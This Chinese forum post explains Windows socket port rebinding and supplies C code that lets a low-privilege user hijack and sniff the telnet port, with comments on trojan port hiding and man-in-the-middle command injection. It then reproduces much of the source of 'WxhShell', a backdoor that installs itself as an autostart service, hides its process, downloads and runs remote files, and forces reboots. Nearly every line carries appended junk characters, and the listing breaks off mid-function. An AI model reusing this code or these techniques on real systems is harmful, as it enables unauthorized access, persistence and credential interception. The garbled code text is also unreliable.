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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TZ#(G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &o{=  
~ *:{U   
  saddr.sin_family = AF_INET; nnr g^F  
R@*mMWW,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ky"]L~8$  
* V;L|c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1, 5"sQ$  
Vl=!^T}l+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p4l^b[p  
YrlOvXW  
  这意味着什么?意味着可以进行如下的攻击: "^sh:{  
6z;C~_BV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <dzfD;  
CeL`T:]r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tBR"sBiws  
V>"nAh]}.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;. jnRPo";  
80qSPitj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yX%q7ex  
>q W_%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c6 O1Z\M@\  
dnRS$$9#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2R}9wDP  
`re9-HM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *Uq1 q  
0 #*M'C#  
  #include !~X[qT  
  #include >`\f,yq l6  
  #include ahezDDR-.i  
  #include    F_28q15~:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pPI'0x  
  int main() ly,3,ok  
  { UO3QwZ4j;  
  WORD wVersionRequested; bbGSh|u+P  
  DWORD ret; luA k$Es  
  WSADATA wsaData; TVaD',5_V%  
  BOOL val; LJ^n6 m|_  
  SOCKADDR_IN saddr; kjCXP  
  SOCKADDR_IN scaddr; B 4s^X`?z  
  int err; #jY\l&E  
  SOCKET s; lqD.epm  
  SOCKET sc; t9zPUR  
  int caddsize; eK<X7m^  
  HANDLE mt; 2t9JiH  
  DWORD tid;   lr >:S  
  wVersionRequested = MAKEWORD( 2, 2 ); Xz/5 Wis4  
  err = WSAStartup( wVersionRequested, &wsaData ); wUU Dq?!k\  
  if ( err != 0 ) { $bf&ct*$h  
  printf("error!WSAStartup failed!\n"); %}< e;t-O  
  return -1; VD=}GY33=  
  } h8R3N?S3#  
  saddr.sin_family = AF_INET; R$[nYw  
   N0Y$QWr_$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XctSw  
. X  (^E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ].E89_|O  
  saddr.sin_port = htons(23); jZRf{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T{9pNf-  
  { @|e4.(9A  
  printf("error!socket failed!\n"); fY)Dx c&ue  
  return -1; <n8K"(sy}  
  } Z )Imj&;  
  val = TRUE; |r5e#3w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ixK& E#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XUI9)Ne  
  { 4!%@{H`3  
  printf("error!setsockopt failed!\n"); yr4j  
  return -1; =bn(9Gm!J  
  } Vjv~RNGF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1 _A B; ^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dv?ael^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k,) xv?  
ejr9e@D^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $0uh8RB  
  { Uavr>-  
  ret=GetLastError(); [ " n+2;  
  printf("error!bind failed!\n"); |rjHH<  
  return -1; R`IFKmA EJ  
  } nFRU-D$7  
  listen(s,2); li!3bv  
  while(1) iD;pXE{2s%  
  { 79DzrLu  
  caddsize = sizeof(scaddr); S5Hb9m&&  
  //接受连接请求 kTC'`xv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :K:oH}4oh  
  if(sc!=INVALID_SOCKET) 4rcNBmA,  
  { bOEO2v'cQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xiWP^dIF  
  if(mt==NULL) kAu-=X  
  { goE \C  
  printf("Thread Creat Failed!\n"); vb o| q[z  
  break; H@+1I?l  
  } *En29N#a{  
  } gdPPk=LD  
  CloseHandle(mt); + ESEAi91  
  } pKxsK^O5[  
  closesocket(s); nC:>1 kt  
  WSACleanup(); aw%iO|M_  
  return 0; S]}hh,A  
  }   w^ AY= Fc  
  DWORD WINAPI ClientThread(LPVOID lpParam) $nkvp`A  
  { TFfV?rBI  
  SOCKET ss = (SOCKET)lpParam; cO8':P5Q  
  SOCKET sc; :.k1="H~@  
  unsigned char buf[4096]; & bKl(,  
  SOCKADDR_IN saddr; $;4y2?E  
  long num; \ F\ /<  
  DWORD val; e_<'zH_1  
  DWORD ret; W2$MH: j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0XcH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $ \yZ;Z:  
  saddr.sin_family = AF_INET; p)u?x)w=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Po)!vL"   
  saddr.sin_port = htons(23); Qu  x1N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m1 tYDZ"i  
  { ab}Kt($  
  printf("error!socket failed!\n"); 6`c5\G+  
  return -1; p\'0m0*   
  } 6UAn# d9  
  val = 100; 8 vp*U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |w{}h6 a  
  { 2bs={p$}a  
  ret = GetLastError(); +jEtu[ ;  
  return -1; 9}[UZN6  
  } tj' xjX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VRb+-T7"  
  { J1s~w`,  
  ret = GetLastError(); Jbv[Ql#  
  return -1; R&-Vm3mc3  
  } 3} 7`?$ 5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2l4*6rYa(  
  { '%H\ k5^  
  printf("error!socket connect failed!\n"); zu,F 0;De  
  closesocket(sc); ,+d\@:  
  closesocket(ss); PeX^aEc  
  return -1; [$Dzf<0  
  } /e:kBjysJ  
  while(1) V 6*ohC:  
  { (u{?aG~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h 7P<3m}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n@JZ2K4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '^{:HR#i  
  num = recv(ss,buf,4096,0); nF)b4`Nd  
  if(num>0) f@j)t%mh  
  send(sc,buf,num,0); f`gs/R  
  else if(num==0) qk{+Y  
  break; /q^\g4J  
  num = recv(sc,buf,4096,0); m8T< x>  
  if(num>0) n9%&HDl4  
  send(ss,buf,num,0); 9n#lDL O  
  else if(num==0) t@;r~S b  
  break; 5r)]o'? s  
  } d:L|BkQ7*  
  closesocket(ss); 6CV9ewr  
  closesocket(sc); R1/h<I:  
  return 0 ; $(r/N"6)O2  
  } n^t!+  
D}MCVNd^  
Hrg~<-.La  
========================================================== S;8gX1Uf  
W]CsKN,K  
下边附上一个代码,,WXhSHELL A<U9$"j9J  
&)$}Nk  
========================================================== MS~+P'  
(M-W ea!q  
#include "stdafx.h" ln2lFfz  
M%z$yU`ac  
#include <stdio.h> qRc Y(mb  
#include <string.h> $<s;YhM:u)  
#include <windows.h> J Q% D6b  
#include <winsock2.h> 7C>5XyyJ  
#include <winsvc.h> ~-tKMc).X  
#include <urlmon.h> lDX\"Fq  
=j~vL`d2]  
#pragma comment (lib, "Ws2_32.lib") a/{M2  
#pragma comment (lib, "urlmon.lib") ;{Nc9d  
|[W7&@hF  
#define MAX_USER   100 // 最大客户端连接数 ccY! OSae  
#define BUF_SOCK   200 // sock buffer :Ldx^UO  
#define KEY_BUFF   255 // 输入 buffer :pCv!g2  
P#l"`C /  
#define REBOOT     0   // 重启 k^#+Wma7  
#define SHUTDOWN   1   // 关机 {g]Mx|5Q  
XQPlhpcv  
#define DEF_PORT   5000 // 监听端口 _ *.ImD  
)gHfbUYS  
#define REG_LEN     16   // 注册表键长度 0}3Xry,{  
#define SVC_LEN     80   // NT服务名长度 VK>Cf>  
(Zoopkxw  
// 从dll定义API 63fg l+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $.F.xYS9IJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g2%fla7r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KL\hV .6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d` X1cG  
!dV2:`|+  
// wxhshell配置信息 @#2KmM~I  
struct WSCFG { _Q9I W  
  int ws_port;         // 监听端口 z=6zc-$y 9  
  char ws_passstr[REG_LEN]; // 口令 !T"jvDYH  
  int ws_autoins;       // 安装标记, 1=yes 0=no IwVdx^9  
  char ws_regname[REG_LEN]; // 注册表键名 XM57 UG  
  char ws_svcname[REG_LEN]; // 服务名  ae>B0#=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IBz)3gj J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z(n Ba]^[F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '\% Kd+k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E}g)q;0v|2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q;?rqi ,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y#{v\h Cz  
_KJ!C!  
}; `kYcTFk  
s3[\&zt  
// default Wxhshell configuration eL_Il.:  
struct WSCFG wscfg={DEF_PORT, |" ag'h  
    "xuhuanlingzhe", )?;+<,  
    1, V [Wo9Y\  
    "Wxhshell", a7}O.NDf  
    "Wxhshell", ;-^8lWt  
            "WxhShell Service", ~7>D>!!  
    "Wrsky Windows CmdShell Service", O_ d[{e=5`  
    "Please Input Your Password: ", g `(3r  
  1, c<ORmg6  
  "http://www.wrsky.com/wxhshell.exe", dwqR,|  
  "Wxhshell.exe" d]K$0HY  
    }; uH |:gF^  
P?hB`5X  
// 消息定义模块 %W^Zob  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i:|e#$x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _>E=.$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @y2cC6+'t  
char *msg_ws_ext="\n\rExit."; 9/h[(qvT  
char *msg_ws_end="\n\rQuit."; 8l*h\p:Q  
char *msg_ws_boot="\n\rReboot..."; J,*+Ak ~  
char *msg_ws_poff="\n\rShutdown..."; 8?LHYdJ  
char *msg_ws_down="\n\rSave to "; x c|1?AFj  
E5yn,-GyE0  
char *msg_ws_err="\n\rErr!"; `>& K=C?  
char *msg_ws_ok="\n\rOK!"; 8`z  
U&W/Nj  
char ExeFile[MAX_PATH]; snYyxi  
int nUser = 0; j@R"AP}  
HANDLE handles[MAX_USER]; * .g[vCy  
int OsIsNt; @a i2A|  
9y*2AaxW  
SERVICE_STATUS       serviceStatus; 5KTPlqm0qF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6[,7g&C  
{ u3giB  
// 函数声明 eig{~3  
int Install(void); G_`Ae%'h  
int Uninstall(void); |RL\2j|  
int DownloadFile(char *sURL, SOCKET wsh); ,WBKN)%u  
int Boot(int flag); iu.Jp92  
void HideProc(void); ^p~QHS/  
int GetOsVer(void); I2WWhsNC  
int Wxhshell(SOCKET wsl); 1<Vke$   
void TalkWithClient(void *cs); u\(>a  
int CmdShell(SOCKET sock); ]Pe8G(E!  
int StartFromService(void); W~FU!C?]  
int StartWxhshell(LPSTR lpCmdLine); *|ef#-|D  
T037|k a{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ioUO 0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P4:Zy;$v!  
FXul u6"SX  
// 数据结构和表定义 Fl!D2jnN  
SERVICE_TABLE_ENTRY DispatchTable[] = Z*'<9l_1  
{ |G/U%?`  
{wscfg.ws_svcname, NTServiceMain}, kqjj&{vPFJ  
{NULL, NULL} 3Ww 37V>h  
}; -<:w{cV  
iB5q"hoZC  
// 自我安装 KQ^|prN?y  
int Install(void) .hJcK/m  
{ urg^>n4V]  
  char svExeFile[MAX_PATH]; (Q=:ln;kM  
  HKEY key; [ldBI3  
  strcpy(svExeFile,ExeFile); "m`}J*s"  
[X7gP4  
// 如果是win9x系统,修改注册表设为自启动 ??f,(om  
if(!OsIsNt) { ZiPz~G0[^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P(!%Pp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dL~^C I  
  RegCloseKey(key); Uy|Tu~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Hw*q|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); juI)Do2_  
  RegCloseKey(key); 0mNL!"  
  return 0; -2j[;kgt}  
    } s4j]kH  
  } ?6UjD5NkX  
} 9&{z?*  
else { Vha,rIi  
sL,|+>7T^M  
// 如果是NT以上系统,安装为系统服务 -EP(/CS!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RL[F 9g  
if (schSCManager!=0) xo4lM  
{ v\E6N2.S  
  SC_HANDLE schService = CreateService RKZBI?@4  
  ( i-9W8A  
  schSCManager, fmD~f  
  wscfg.ws_svcname, +BDW1%  
  wscfg.ws_svcdisp, eVd:C8q  
  SERVICE_ALL_ACCESS, G#ELQ/Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _St ":9'uU  
  SERVICE_AUTO_START, ke k/C`7  
  SERVICE_ERROR_NORMAL, S$gLL kD1  
  svExeFile, =!)x`1j!S  
  NULL, P/xE n_*v  
  NULL, BF 0#G2`h>  
  NULL, `KZu/r-M9  
  NULL, K'B*D*w  
  NULL zN9#qlfv  
  ); ^Vi{._r  
  if (schService!=0) MS:,I?  
  { wp83E,  
  CloseServiceHandle(schService); Bw~jqDZ}|  
  CloseServiceHandle(schSCManager); 6uTC2ka[&R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %`~+^{Wp  
  strcat(svExeFile,wscfg.ws_svcname); rGrR;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L c )i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W>qu~ak?x  
  RegCloseKey(key); $@l=FV_;  
  return 0; yo8mfH_,  
    } ?op;#/Q(  
  } \4>w17qng  
  CloseServiceHandle(schSCManager); eSHsE 3}h  
} g W_E  
} KyQTrl.qdl  
+Jm vB6s  
return 1; JTObyAoW  
} DWEDL[{  
e1y#p3 @d  
// 自我卸载 7w]3D  
int Uninstall(void) N|%r5%  
{ "G,,:H9v  
  HKEY key; :iGK9I  
,N;2"$+E  
if(!OsIsNt) { fP6\Ur  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =M}tet }  
  RegDeleteValue(key,wscfg.ws_regname); zg'.fUZ  
  RegCloseKey(key); [#YzU^^Ib  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @eDs)mY  
  RegDeleteValue(key,wscfg.ws_regname); +o'xyR'(  
  RegCloseKey(key); :pNS$g[  
  return 0; .R#-u/6g(  
  } V7`vLs-  
} sAPQbTSM  
} 1wH6 hN,  
else { ^>>9?  
T 1R~^x1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~]].i~EV(  
if (schSCManager!=0) _CTg")0o  
{ ]*gf$D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q/Vl>t  
  if (schService!=0) cNN0-<#c  
  { fUfd5W1"  
  if(DeleteService(schService)!=0) { 'Z:wEt!  
  CloseServiceHandle(schService); KFRf5^%  
  CloseServiceHandle(schSCManager); `(gQw~|z  
  return 0; ';!-a] N  
  } }p-/R'  
  CloseServiceHandle(schService); 54B`T/>R:E  
  } ZJ~0o2xZ'  
  CloseServiceHandle(schSCManager); 3,`M\#z%K  
} KhP_U{)D  
} U&{w:P  
CBNt _y  
return 1; mIp> ~  
} Q2)(tB= )  
IOF!Ra:w  
// 从指定url下载文件 A:D9qp  
int DownloadFile(char *sURL, SOCKET wsh) ^FQn\,  
{ =,C]d~  
  HRESULT hr; ~kj96w4eAR  
char seps[]= "/"; ?m+];SJk  
char *token; wjZ Q.T!  
char *file; Gy;Fe=  
char myURL[MAX_PATH]; zGNW5S9G  
char myFILE[MAX_PATH]; mlLqQ<  
'n1$Y%t  
strcpy(myURL,sURL); .{ZJywE<  
  token=strtok(myURL,seps); J7C?Z  
  while(token!=NULL) HG< z,gE 2  
  { ;MK|l,aIQ  
    file=token; IW>~Yl?  
  token=strtok(NULL,seps); B/qN1D]U.  
  } l'M/et{:  
Q+wO\TtE  
GetCurrentDirectory(MAX_PATH,myFILE); Q'!'+;&%  
strcat(myFILE, "\\"); sDR Av%w  
strcat(myFILE, file); YJ-<t6  
  send(wsh,myFILE,strlen(myFILE),0); + !" Y C  
send(wsh,"...",3,0); .C5<uW5-R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n~BQq-1  
  if(hr==S_OK) SIKaDIZ  
return 0; Hz[1c4)'F  
else :-lq Yd5^  
return 1; DU)q]'[u  
m/jyc# L:u  
} eK5~gnv,  
2{Dnfl'k  
// 系统电源模块 <#;5)!gr{  
int Boot(int flag) Mk=*2=d  
{ UZmUYSu;  
  HANDLE hToken; ->o[ S0  
  TOKEN_PRIVILEGES tkp; r$-P  
E2t& @t%W  
  if(OsIsNt) { 6J#R1.h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q*,HN(& l?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #H<}xC2  
    tkp.PrivilegeCount = 1;  LAM{ ,?~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W(Md0*   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K'e,9P{  
if(flag==REBOOT) { u"%D;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6v]`s  
  return 0; dZ8ldpf8  
} I Z*)  
else { (v KJyk+Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2hso6Oy/v{  
  return 0; o2bmsnXQ  
} hO{&bY0  
  } I$x<B7U  
  else { GVu[X?q@|  
if(flag==REBOOT) { p:$kX9mT&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;($xAAR  
  return 0; 9z{g3m70@  
} tS5J{j>T  
else { #G?#ot2o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f*88k='\W  
  return 0; y29G#Y4J  
} ]dl.~;3~~  
} Z]WX 7d  
__s'/ 6u  
return 1; k%\y,b*  
} )F\kGe  
fv+d3s?h  
// win9x进程隐藏模块 X2;72  
void HideProc(void) pDJN}XtjT  
{ r#_0_I1[  
R]Z#VnL@qz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !>ZBb\EyK  
  if ( hKernel != NULL ) %Ie,J5g5  
  { ]q4LN o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZREy I(_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KF@%tR}V{  
    FreeLibrary(hKernel); q4Bw5 ~n  
  } *?C8,;=2r  
4M|C>My  
return; {06ClI  
} fF>hca>  
Z%LS{o~LK.  
// 获取操作系统版本 ]N0B.e~D  
int GetOsVer(void) ) ?B-en\  
{ $I/ !vV  
  OSVERSIONINFO winfo; v$x)$/]n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^_ V0irv  
  GetVersionEx(&winfo); .I]v D#o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mae2L2vc  
  return 1; iRcac[uV  
  else C`3 XOth  
  return 0;  $s]&9 2  
} '@WBq!p  
8 $H\b &u  
// 客户端句柄模块 $!!y v'K  
int Wxhshell(SOCKET wsl) 9!_LsQ\)  
{ UY,u-E"  
  SOCKET wsh; bA$ElKT  
  struct sockaddr_in client; ;14Q@yrZ0  
  DWORD myID; fhR u-  
(E 8jkc  
  while(nUser<MAX_USER) :RZ'_5P[If  
{ "\rO}(gC;`  
  int nSize=sizeof(client); hH-!3S2'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 59:kL<;S-  
  if(wsh==INVALID_SOCKET) return 1; "R-j  
oRcP4k;d=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %}-ogi/c  
if(handles[nUser]==0) wv\"(e7(  
  closesocket(wsh); r4gLoHD)  
else 'Z,7{U1P  
  nUser++; `('Up?  
  } Au/'|%2#(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \>EUa}%xn  
g2}aEfp!H  
  return 0; v;g,qO!LJ  
} qz Hsqlof  
J8@+)hn  
// 关闭 socket `:m=rT_  
void CloseIt(SOCKET wsh) PR(KDwsT&l  
{ M&",7CPD(1  
closesocket(wsh); !Q%r4Nr  
nUser--; z Z~t ,>  
ExitThread(0); #Q_<eo%lI*  
} X MF? y  
N!v>2"x8q  
// 客户端请求句柄 [AD%8 H  
void TalkWithClient(void *cs) #a9R3-aP  
{ 'cIFbjJ  
x 0vW9*&  
  SOCKET wsh=(SOCKET)cs; N>P" $  
  char pwd[SVC_LEN]; f4dHOH  
  char cmd[KEY_BUFF]; prIJjy-F  
char chr[1]; Oq3t-omXS  
int i,j; !^1oH**  
B%))HLo'  
  while (nUser < MAX_USER) { (U.VCSn  
nHfAx/9!  
if(wscfg.ws_passstr) { h]|2b0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i1b3>H*3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,y/m5-D!  
  //ZeroMemory(pwd,KEY_BUFF); u V'C_H  
      i=0; **6X9ZIX[  
  while(i<SVC_LEN) { :,/ \E  
X C390t  
  // 设置超时 6/(Z*L"~6k  
  fd_set FdRead; <3=k  
  struct timeval TimeOut; JE$ $6X  
  FD_ZERO(&FdRead); LA6Ik_-F  
  FD_SET(wsh,&FdRead); 4`r-*Lx  
  TimeOut.tv_sec=8; ashVV~\8A  
  TimeOut.tv_usec=0; \tS| N40  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F:0 E- z'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (~b0-3s  
gKPqU@$*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zyz)`>cB  
  pwd=chr[0]; k9\n='OI  
  if(chr[0]==0xd || chr[0]==0xa) {  f|yq~3x)  
  pwd=0; 3zM>2)T-  
  break; /wHfc[b>  
  } Dl}va  
  i++; S|IDFDn  
    } IZ.b  
sP8_Y,  
  // 如果是非法用户,关闭 socket  |FFM Q"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RT9%E/m  
} j2n 4; m  
i.ivHV~ -  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !#WJ(zSq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X%B2xQM 5  
=A"z.KfV  
while(1) { 3);W gh6  
8{CBWXo$)  
  ZeroMemory(cmd,KEY_BUFF); f_QZ ql  
#N\<(SD/  
      // 自动支持客户端 telnet标准   )f%Q7  
  j=0; S8]YS@@D   
  while(j<KEY_BUFF) { 5*$z4O:Aa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [{+ZQd  
  cmd[j]=chr[0]; lJ4/bL2I/  
  if(chr[0]==0xa || chr[0]==0xd) { lstnxi%x  
  cmd[j]=0; >LEp EMJ\  
  break; S?~/ V]  
  } 7{=+Va5  
  j++; !/e8x;_  
    } r`:dUCFE  
tZD^<Q7}\  
  // 下载文件 Lez]{%+.`[  
  if(strstr(cmd,"http://")) { KVpQ,x&q~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8RVeKnpXTV  
  if(DownloadFile(cmd,wsh)) |c,'0V,"cH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0Kt4%b  
  else _eaK:EW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]=]`Mnuxb  
  } `S=4cSH(  
  else { '494^1"io  
G0x!:[  
    switch(cmd[0]) { '[[*(4 a3  
  [8`^_i=#  
  // 帮助 V%J_iY/BUb  
  case '?': { #w)D ml  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xEe3,tb'e  
    break; 3:!5 ]  
  } 0a v2w5>af  
  // 安装 z8w@pT  
  case 'i': { 7!8R)m^1[  
    if(Install()) xa%2w]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDIN%/S'  
    else =$vy_UN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RsP^T:M}$  
    break; 95  X6V  
    } KWT[b?  
  // 卸载 DGx<Nys@B  
  case 'r': { Cqw`K P  
    if(Uninstall()) J`A )WsKkb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xgB-m[Xi  
    else ' C1yqkIa`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K6oQx)|  
    break; A)o%\j  
    } f<2<8xS  
  // 显示 wxhshell 所在路径 G%fNGQwT  
  case 'p': { xy<)zKp  
    char svExeFile[MAX_PATH]; \F),SL  
    strcpy(svExeFile,"\n\r"); _ ~E_#cNn  
      strcat(svExeFile,ExeFile); 0Y ld!L  
        send(wsh,svExeFile,strlen(svExeFile),0); (k5d.E]CK  
    break; k|_LF[*Z  
    } ^9*Jz{e  
  // 重启 SV_b(wP9  
  case 'b': { nA XWbavY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @?<1~/sfL  
    if(Boot(REBOOT)) 7.1FRxS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~C;gEE-  
    else { EcmyY,w  
    closesocket(wsh); 1cPjgBxv#  
    ExitThread(0); qu0dWgK  
    } q8f nUK?i  
    break; .&c!k1kH  
    } MG0d&[  
  // 关机 +K*_=gHF.  
  case 'd': { q#1Cm Kt4R  
